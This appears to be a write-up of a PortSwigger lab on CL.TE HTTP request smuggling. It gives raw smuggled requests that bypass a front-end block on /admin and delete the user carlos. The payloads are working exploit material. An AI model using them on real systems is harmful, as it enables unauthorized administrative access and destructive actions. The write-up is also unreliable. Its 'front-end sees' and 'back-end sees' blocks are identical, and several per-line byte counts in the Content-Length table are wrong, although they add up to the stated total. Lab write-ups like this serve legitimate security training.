PortSwigger

Lab Description
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at
/admin, but the front-end server blocks access to it.Objective: Smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Step 1: Understanding the Vulnerability
The CL.TE vulnerability:
- Front-end server: Uses
Content-Length(CL) header (doesn’t support chunked encoding) - Back-end server: Uses
Transfer-Encoding: chunked(TE) header - The discrepancy allows request smuggling
The attack:
- Send a request with both
Content-LengthandTransfer-Encoding: chunkedheaders - Front-end uses CL (sees one request)
- Back-end uses TE (sees two requests)
- The second (smuggled) request bypasses front-end security controls
Step 2: Reconnaissance
Step 2.1: Test Admin Access
Try to visit /admin:
GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Response: 403 Forbidden - Front-end blocks access.
Step 3: CL.TE Request Smuggling
Step 3.1: Basic Smuggling Attempt
Send the following request twice (to see the effect):
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X

How the servers interpret:
| Server | Uses | Sees |
|---|---|---|
| Front-end | Content-Length: 37 | Single request (stops after 0 + newlines) |
| Back-end | Transfer-Encoding: chunked | Two requests (second is smuggled) |
Smuggled request sent to back-end:
GET /admin HTTP/1.1
X-Ignore: X
Response: Error - missing Host: localhost header.
Step 4: Adding Host Header
Step 4.1: Smuggle with Localhost
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

Smuggled request:
GET /admin HTTP/1.1
Host: localhost
X-Ignore: X
Response: Still blocked — Host header conflict with the second request.
Step 5: Fixing Header Conflict
Step 5.1: Hide Second Request Headers
By adding a Content-Length to the smuggled request, its headers become part of the body of the second request, not request headers.
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=

Request breakdown:
Front-end sees (Content-Length: 116):
POST / HTTP/1.1
Host: lab.com
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Back-end sees (chunked):
POST / HTTP/1.1
Host: lab.com
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
- Admin panel accessible!
Step 6: Deleting User Carlos
Step 6.1: Modify Smuggled Request
Change the smuggled request URL to delete carlos:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Calculate Content-Length correctly:
Let’s break down the request body (the smuggled part):
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Count every character including newlines (\r\n = 2 bytes):
| Line | Bytes |
|---|---|
0\r\n | 3 |
\r\n | 2 |
GET /admin/delete?username=carlos HTTP/1.1\r\n | 46 |
Host: localhost\r\n | 18 |
Content-Type: application/x-www-form-urlencoded\r\n | 45 |
Content-Length: 10\r\n | 21 |
\r\n | 2 |
x= | 2 |
| Total | 139 |
- *Content-Length: 139 is correct.

Step 7: Lab Solved
Success message displayed:
